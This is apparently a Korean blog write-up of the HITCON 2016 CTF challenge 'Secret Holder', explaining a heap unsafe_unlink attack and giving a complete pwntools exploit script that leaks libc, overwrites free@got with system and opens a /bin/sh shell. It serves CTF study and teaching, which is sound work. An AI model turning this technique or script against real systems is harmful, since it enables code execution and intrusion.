본문 바로가기

ctf

[HITCON 2016 CTF] Secret Holder

# file SecretHolder

SecretHolder: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.24, BuildID[sha1]=1d9395599b8df48778b25667e94e367debccf293, stripped

[*] '/ctf/SecretHolder'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE

 

해당 바이너리의 기능에 대해 간략히 설명하자면,

keep_secret() 함수에서는 40byte(Small_secret), 4000byte(Big_secret), 400000byte(Huge_secret) 크기의 공간을 선택해서 할당할 수 있다. 그리고 할당된 secret 에 대해서 전역변수를 통해 설정한다. (1 - 할당, 0 - 해체) 

wipe_secret() 함수에서는 전역변수 포인터를 인자로 사용해 할당된 공간을 해체한다. 그리고 전역변수의 할당여부에 0 을 셋팅한다.

renew_secret() 함수에서는 할당된 secret 에 한해서 chunk 를 수정할 수 있다.

 

이 문제의 취약점은, 전역 포인터가 각각의 영역을 가리키고 있고, free() 함수 조작을 통해 heap overflow 를 유도할 수 있다.

이 때 사용하는 기법이 unsafe_unlink 라는 기법이다.

 

가장 먼저 우리는 heap에 overflow를 발생시키고, fake chunk 를 만들기 위해 huge_secret 을 사용해야 한다.

처음에 디버깅을 해보면 알겠지만 huge_secret 를 할당하면 size 가 너무 커서 heap 영역에 할당되지 않는다. 이러한 이유에 대해서는 모르겟지만 huge_secret 을 할당하고 free 한 후 다시 할당하면 heap 에 할당하게 된다.

 

        keep(1, "A"*8)
        keep(2, "B"*8)
        keep(3, "C"*8)

        wipe(1)
        wipe(2)
        wipe(3)

        keep(3, "A"*8)

        wipe(1)

        keep(1, "B"*8)

        keep(2, "C"*8)

위의 코드를 통해 Huge_secret 을 힙에 할당하고, Huge_secret, Small_secret 이 두 chunk 가 같은 pointer 를 가리킨다.

그리고 Small_secret 다음 chunk 로 Big_secret 이 할당되어 진다.

결과적으로, renew() 함수를 통해 Huge_secret 에 payload 를 넣어 Small_secret, Big_secret 공간에 overflow가 가능하다.

 

        # if ((__builtin_expect (FD->bk != P || BK->fd != P), 0))
        #       malloc_printerr(check_actiion, "corrupted double-linked list", P, AV);
        #else {
        #       FD->bk = BK;
        #       BK->fd = FD;
        # we have to make a fake_chunk for check(FD->bk != P, BK->fd != P) bypass

        chunk_fake_fd = 0x6020a8 - 0x18
        chunk_fake_bk = 0x6020a8 - 0x10

        # overwrite Big_secret chunk data
        payload = p64(0x0
        payload += p64(0x21)
        payload += p64(chunk_fake_fd)
        payload += p64(chunk_fake_bk)

 

        # we are going to free here
        payload += p64(0x20)
        payload += p64(0x90)
        payload += "B"*0x80

 

        # fake next chunk
        payload += p64(0x90)
        payload += p64(0x91)
        payload += "C"*0x80

 

        # fake next_next chunk
        payload += p64(0x90)
        payload += p64(0x91)

        renew(3, payload)

  wipe(2)    # free(big), trigger unsafe_unlink

fake chunk 를 만들고, Big_secret 를 free() 하여 unsafe_unlink 를 발생시킨다.

이로 인해 Huge_secret 영역을 가리키던 pointer가 조작되고, 이로 인해 .bss 영역에 Huge, Small, Big 의 pointer 를 조작할 수 있다.

 

즉, 우리는 .bss 영역에 위치한 pointer 들의 정교한 조작을 통해 leak을 통한 system@libc 알아낸 후, free@got <- system@libc 를 넣어 exploit 한다. 이 부분은 exploit code 참고.

 

# exploit.py

from pwn import *


elf = ELF('./SecretHolder')
p = remote('localhost', 7777)


print p.recvuntil('3. Renew secret\n')


def keep(num, data):

        p.sendline('1')
        print p.recvuntil('3. Huge secret\n')

        p.send(str(num))
        print p.recvuntil('Tell me your secret: \n')

        p.sendline(data)
        print p.recvuntil('3. Renew secret\n')

 

def wipe(num):

        p.sendline('2')
        print p.recvuntil('3. Huge secret\n')

        p.send(str(num))
        print p.recvuntil('3. Renew secret\n')

 

def renew(num, data):

        p.sendline('3')
        print p.recvuntil('3. Huge secret\n')

        p.send(str(num))
        print p.recvuntil('Tell me your secret: \n')

        p.send(data)
        print p.recvuntil('3. Renew secret\n')


def leak(num):

        global system_libc

        p.sendline('2')
        print p.recvuntil('3. Huge secret\n')

        p.send(str(num))
        data = p.recv(1024)

        leak = u64(data[16:22].ljust(8, '\x00')) - 88
        log.info('main_arena leak = ' + hex(leak))

        system_libc = leak - 0x37e7a0
        log.info('system_libc = ' + hex(system_libc))

        print p.recvuntil('3. Renew secret\n')

 


def exploit(num):

        p.send('2')
        print p.recvuntil('3. Huge secret\n')

        p.send(str(num))

        p.interactive()

 

if __name__=='__main__':

        keep(1, "A"*8)
        keep(2, "B"*8)
        keep(3, "C"*8)

        wipe(1)
        wipe(2)
        wipe(3)

        keep(3, "A"*8)

        wipe(1)

        keep(1, "B"*8)

        keep(2, "C"*8)

        # if ((__builtin_expect (FD->bk != P || BK->fd != P), 0))
        #       malloc_printerr(check_actiion, "corrupted double-linked list", P, AV);
        #else {
        #       FD->bk = BK;
        #       BK->fd = FD;
        # we have to make a fake_chunk for check(FD->bk != P, BK->fd != P) bypass

        chunk_fake_fd = 0x6020a8 - 0x18
        chunk_fake_bk = 0x6020a8 - 0x10

 

        # overwrite Big_secret chunk data
        payload = p64(0x0)
        payload += p64(0x21)
        payload += p64(chunk_fake_fd)
        payload += p64(chunk_fake_bk)

 

        # we are going to free here

        payload += p64(0x20)
        payload += p64(0x90)
        payload += "B"*0x80

 

        # fake next chunk

        payload += p64(0x90)
        payload += p64(0x91)
        payload += "C"*0x80

 

        # fake next_next chunk

        payload += p64(0x90)
        payload += p64(0x91)

        renew(3, payload)    

        wipe(2)    # free(big), trigger unsafe_unlink


        payload = p64(0x0) * 3
        payload += p64(elf.got['free'])

        renew(3, payload)

        renew(3, p64(elf.plt['puts']))

 

        # leak <main_arena+88> address and free@got <- system@libc
        # system(command) <- command setting = "/bin/sh"
        cmd = '/bin/sh;'
        cmd += 'A'*8

        renew(1, cmd)

        leak(1)


        payload = p64(system_libc)
        renew(3, payload)

        exploit(1)

'ctf' 카테고리의 다른 글

[pwnable.kr] echo1  (0) 2017.03.13
[pwnable.kr] unlink  (0) 2017.03.12
[CodeGate 2017 CTF] angrybird  (0) 2017.02.22
[CodeGate 2017 CTF] messenger  (0) 2017.02.22
[CodeGate 2017 CTF] babypwn  (0) 2017.02.22